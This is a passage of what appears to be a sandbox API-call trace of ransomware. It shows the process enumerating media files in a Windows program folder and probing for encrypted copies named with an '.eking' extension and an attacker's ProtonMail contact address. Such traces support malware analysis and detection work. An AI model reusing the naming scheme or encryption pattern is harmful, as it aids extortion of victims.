"c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png")) returned 0x20 [0183.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png")) returned 0x20 [0183.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.277] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4866) returned 1 [0183.277] CloseHandle (hObject=0x1e0) returned 1 [0183.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png")) returned 0x20 [0183.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png")) returned 0x20 [0183.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.280] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3011) returned 1 [0183.280] CloseHandle (hObject=0x1e0) returned 1 [0183.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png")) returned 0x20 [0183.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png")) returned 0x20 [0183.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.281] SetEvent (hEvent=0x174) returned 1 [0183.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.282] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=19112) returned 1 [0183.282] CloseHandle (hObject=0x1e0) returned 1 [0183.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png")) returned 0x20 [0183.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png")) returned 0x20 [0183.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.283] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=6423) returned 1 [0183.283] CloseHandle (hObject=0x1e0) returned 1 [0183.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png")) returned 0x20 [0183.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png")) returned 0x20 [0183.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.285] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=169722) returned 1 [0183.285] CloseHandle (hObject=0x1e0) returned 1 [0183.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png")) returned 0x20 [0183.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png")) returned 0x20 [0183.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.288] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2910) returned 1 [0183.288] CloseHandle (hObject=0x1e0) returned 1 [0183.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png")) returned 0x20 [0183.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png")) returned 0x20 [0183.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.494] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4621) returned 1 [0183.494] CloseHandle (hObject=0x1e0) returned 1 [0183.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png")) returned 0x20 [0183.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png")) returned 0x20 [0183.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.495] SetEvent (hEvent=0x174) returned 1 [0183.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.496] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2821) returned 1 [0183.496] CloseHandle (hObject=0x1e0) returned 1 [0183.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png")) returned 0x20 [0183.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png")) returned 0x20 [0183.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.497] SetEvent (hEvent=0x174) returned 1 [0183.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.706] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5620) returned 1 [0183.706] CloseHandle (hObject=0x1e0) returned 1 [0183.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png")) returned 0x20 [0183.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png")) returned 0x20 [0183.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.706] SetEvent (hEvent=0x174) returned 1 [0183.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.868] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=29268) returned 1 [0183.868] CloseHandle (hObject=0x1e0) returned 1 [0183.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv")) returned 0x20 [0183.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv")) returned 0x20 [0183.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.869] SetEvent (hEvent=0x174) returned 1 [0183.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.869] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=29268) returned 1 [0183.869] CloseHandle (hObject=0x1e0) returned 1 [0183.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv")) returned 0x20 [0183.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv")) returned 0x20 [0183.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.870] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4793) returned 1 [0183.870] CloseHandle (hObject=0x1e0) returned 1 [0183.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png")) returned 0x20 [0183.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png")) returned 0x20 [0183.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.873] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4813) returned 1 [0183.873] CloseHandle (hObject=0x1e0) returned 1 [0183.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png")) returned 0x20 [0183.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png")) returned 0x20 [0183.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.873] SetEvent (hEvent=0x174) returned 1 [0183.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.875] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=109292) returned 1 [0183.875] CloseHandle (hObject=0x1e0) returned 1 [0183.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv")) returned 0x20 [0183.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv")) returned 0x20 [0183.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD 